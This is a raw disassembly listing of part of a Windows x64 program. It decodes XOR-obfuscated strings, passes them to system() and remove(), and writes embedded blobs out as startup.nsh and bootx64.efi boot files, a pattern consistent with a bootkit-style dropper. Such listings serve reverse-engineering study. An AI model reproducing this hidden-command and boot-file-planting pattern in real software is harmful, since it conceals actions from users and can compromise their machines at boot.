mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a60], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a68], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a70], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a78], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a80], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x4dc0]
mov rax, qword [rbp + 0x10]
movdqa xmm2, xmmword [rbp + 0x4de0]
vmovdqu ymm0, ymmword [rbp + 0x3a60]
vpxor ymm1, ymm0, ymmword [rbp + 0x4dc0]
mov qword [rbp + 0x3a88], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x3a80]
vmovdqa ymmword [rbp + 0x4dc0], ymm1
vmovdqa xmmword [rbp + 0x4de0], xmm2
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b39535bdbe8313c
mov qword [rbp + 0x10], rax
movabs rcx, 0x67fda2477522df5c
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e00], rax
movabs rax, 0x66e4cea2405bbd5f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e08], rax
movabs rax, 0xab4efbaba2c5047c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e10], rax
movabs rax, 0x5fe6b5e32ed4c40e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e18], rax
movabs rax, 0xb00ddecba30a101b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e20], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e28], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3aa0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3aa8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3ab0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3ab8], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3ac0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x4e00]
mov rax, qword [rbp + 0x10]
movdqa xmm2, xmmword [rbp + 0x4e20]
vmovdqu ymm0, ymmword [rbp + 0x3aa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e00]
mov qword [rbp + 0x3ac8], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x3ac0]
vmovdqa ymmword [rbp + 0x4e00], ymm1
vmovdqa xmmword [rbp + 0x4e20], xmm2
vzeroupper
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rcx, [rbp + 0x4e40]
mov byte [rbp], al
xorps xmm0, xmm0
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x6d7d4951e9d86e2c
movups xmmword [rbp + 0x4e50], xmm0
movups xmmword [rbp + 0x4e40], xmm0
movups xmmword [rbp + 0x4e60], xmm0
movups xmmword [rbp + 0x4e70], xmm0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16b0], rax
movabs rax, 0x3d2ee8e3375bb47
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16b8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16c0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16c8], rax
lea rax, [rbp + 0x16b0]
movdqa xmm0, xmmword [rbp + 0x16c0]
xorps xmm0, xmmword [rbp + 0x16b0]
movdqa xmmword [rbp + 0x16b0], xmm0
mov qword [rbp + 0x4e58], rax
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderA]
mov rbx, rax
test rax, rax
je 0x14007bca0
lea rdx, [rbp + 0xac10]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
lea rcx, [rbp + 0x838]
mov qword [rbp + 0x838], r14
call qword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
js 0x14007b8f4
mov rcx, qword [rbp + 0x838]
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + Ordinal_41]
mov rcx, qword [rbp + 0x838]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
xor eax, eax
lea rdx, [rbp + 0xac10]
mov byte [rbp], al
lea rcx, [rbp + 0x3360]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x34343d548cd10b23
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16d0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16d8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16e0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x16d0]
mov qword [rbp + 0x16e8], rax
xorps xmm0, xmmword [rbp + 0x16e0]
movdqa xmmword [rbp + 0x16d0], xmm0
call fcn.140083150
lea r8, [rbp + 0x16d0]
mov rdx, rax
lea rcx, [rbp + 0x3380]
call fcn.1400842d0
lea rcx, [rbp + 0x3360]
call fcn.14004d700
xor eax, eax
lea r8, [rbp + 0x16f0]
mov byte [rbp], al
lea rdx, [rbp + 0x3380]
mov byte [rbp], al
lea rcx, [rbp + 0x33a0]
mov byte [rbp], al
movabs rax, 0x34323d5d8cd60b23
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16f0], rax
movabs rax, 0x390bddb1307ce5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16f8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1700], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x16f0]
mov qword [rbp + 0x1708], rax
xorps xmm0, xmmword [rbp + 0x1700]
movdqa xmmword [rbp + 0x16f0], xmm0
call fcn.140084160
lea rcx, [rbp + 0x3380]
call fcn.1400830c0
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14007ba49
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14007bc88
lea rcx, [rbp + 0x33a0]
call fcn.1400830c0
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14007ba75
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14007bc88
xor eax, eax
movabs rdx, 0xc62b99dcfef73711
mov byte [rbp], al
movabs rcx, 0x1a9edca541b99752
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x34303d448cd50b23
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33c0], rax
movabs rax, 0x3f9bdbd1362ce06
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33c8], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33d0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33d8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33e0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33e8], rax
mov qword [rbp + 0x10], rdx
lea rdx, [rbp + 0xac10]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33f0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x3400]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33f8], rax
vmovdqu ymm0, ymmword [rbp + 0x33e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x33c0]
vmovdqu ymmword [rbp + 0x33c0], ymm1
vzeroupper
call fcn.140083150
lea r8, [rbp + 0x33c0]
mov rdx, rax
lea rcx, [rbp + 0x3420]
call fcn.1400842d0
lea rcx, [rbp + 0x3400]
call fcn.14004d700
lea rcx, [rbp + 0x3420]
call fcn.1400830c0
mov rdx, rax
lea rcx, [rbp + 0x3440]
call fcn.140083150
mov r8d, 0x596b0
lea rdx, [0x1415b6ef0]
lea rcx, [rbp + 0x3440]
call fcn.14004e460
lea rcx, [rbp + 0x3440]
call fcn.14004d700
lea r8, str._startup.nsh
lea rdx, [rbp + 0x33a0]
lea rcx, [rbp + 0x3460]
call fcn.140084160
lea r8, str._bootx64.efi
lea rdx, [rbp + 0x33a0]
lea rcx, [rbp + 0x3480]
call fcn.140084160
lea rcx, [rbp + 0x3460]
call fcn.1400830c0
mov rdx, rax
lea rcx, [rbp + 0x34a0]
call fcn.140083150
mov r8d, 0x42c
lea rdx, [0x1415b37f0]
lea rcx, [rbp + 0x34a0]
call fcn.14004e460
lea rcx, [rbp + 0x34a0]
call fcn.14004d700
lea rcx, [rbp + 0x3480]
call fcn.1400830c0
mov rdx, rax
lea rcx, [rbp + 0x34c0]
call fcn.140083150
mov r8d, 0xeb640
lea rdx, [0x140388040]
lea rcx, [rbp + 0x34c0]
call fcn.14004e460
lea rcx, [rbp + 0x34c0]
call fcn.14004d700
lea rcx, [rbp + 0x3480]
call fcn.14004d700
lea rcx, [rbp + 0x3460]
call fcn.14004d700
lea rcx, [rbp + 0x3420]
call fcn.14004d700
lea rcx, [rbp + 0x33a0]
call fcn.14004d700
lea rcx, [rbp + 0x3380]
call fcn.14004d700
xor eax, eax
lea rdx, [rbp + 0x1710]
mov byte [rbp], al
lea rcx, [rbp + 0x34e0]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x472f5841d9e8313c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1710], rax
movabs rax, 0x390bddb1307ce74
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1718], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1720], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1710]
mov qword [rbp + 0x1728], rax
xorps xmm0, xmmword [rbp + 0x1720]
movdqa xmmword [rbp + 0x1710], xmm0
call fcn.14003a6f0
lea rdx, [rbp + 0xab00]
lea rcx, [rbp + 0x34e0]
call fcn.140083220
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x55295c76fcc44a23
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6220], rax
movabs rax, 0x64fed4b672689c74
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6228], rax
movabs rax, 0xa958f6ae9d9e7a4d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6230], rax
movabs rax, 0x75fab2cc16e5e334
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6238], rax
movabs rax, 0xc41ac7dade625504
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6240], rax
movabs rax, 0x15adfe321b47927c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6248], rax
movabs rax, 0xfed57a95936021da
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6250], rax
movabs rax, 0x33275914b2d1d262
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6258], rax
movabs rax, 0x34dbe5c3b57a63e2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6260], rax
movabs rax, 0x959974d34b3349d5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6268], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57c0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57c8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57d0], rax
movabs rax, 0x1a9edca541b99752
lea rdx, [rbp + 0x6220]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x34e0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57d8], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57e0], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57e8], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57f0], rax
movabs rax, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57f8], rax
movabs rax, 0x4cbecb8af33f0f87
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5800], rax
movabs rax, 0x959974d34b3349b0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x57c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x6220]
vmovdqu ymm0, ymmword [rbp + 0x6240]
vmovdqa xmm2, xmmword [rbp + 0x6260]
vmovdqa ymmword [rbp + 0x6220], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x57e0]
mov qword [rbp + 0x5808], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x5800]
vmovdqa ymmword [rbp + 0x6240], ymm1
vmovdqa xmmword [rbp + 0x6260], xmm2
vzeroupper
call fcn.140083220
lea rcx, [rbp + 0x34e0]
call fcn.14003a680
mov rdx, rax
lea rcx, [rbp + 0x3500]
call fcn.14003a6f0
mov r8d, 0x9a00
lea rdx, [0x1416bf9e0]
lea rcx, [rbp + 0x3500]
call fcn.14004e600
lea rcx, [rbp + 0x3500]
call fcn.14003a690
lea rcx, [rbp + 0x34e0]
mov dword [0x141718ff0], 0xc
movaps xmm12, xmm14
call fcn.14003a690
lea rcx, [rbp + 0x3320]
call fcn.14004d700
call fcn.140020720
call fcn.14001a750
mov rcx, qword [0x1417191f0]
lea r8, [0x141719198]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x1730], xmm0
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x1417191f0]
lea r8, [rbp + 0x1730]
mov rdx, qword [0x141719198]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.140017870
mov rcx, rax
call fcn.14003d880
mov rcx, qword [0x1417191e0]
xor r8d, r8d
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x40]
mov rdi, qword [rbp + 0x148]
jmp 0x140053879
call fcn.14003ebb0
call fcn.14003efa0
xor ecx, ecx
call fcn.140015500
call fcn.140081f00
mov rcx, qword [0x141718fb0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x54f8]
mov rcx, qword [rbp + 0x5520]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov r13d, r14d
lea rcx, [rbp + 0x1a58]
call fcn.14003a690
mov eax, r13d
lea r11, [rsp + 0xaf40]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret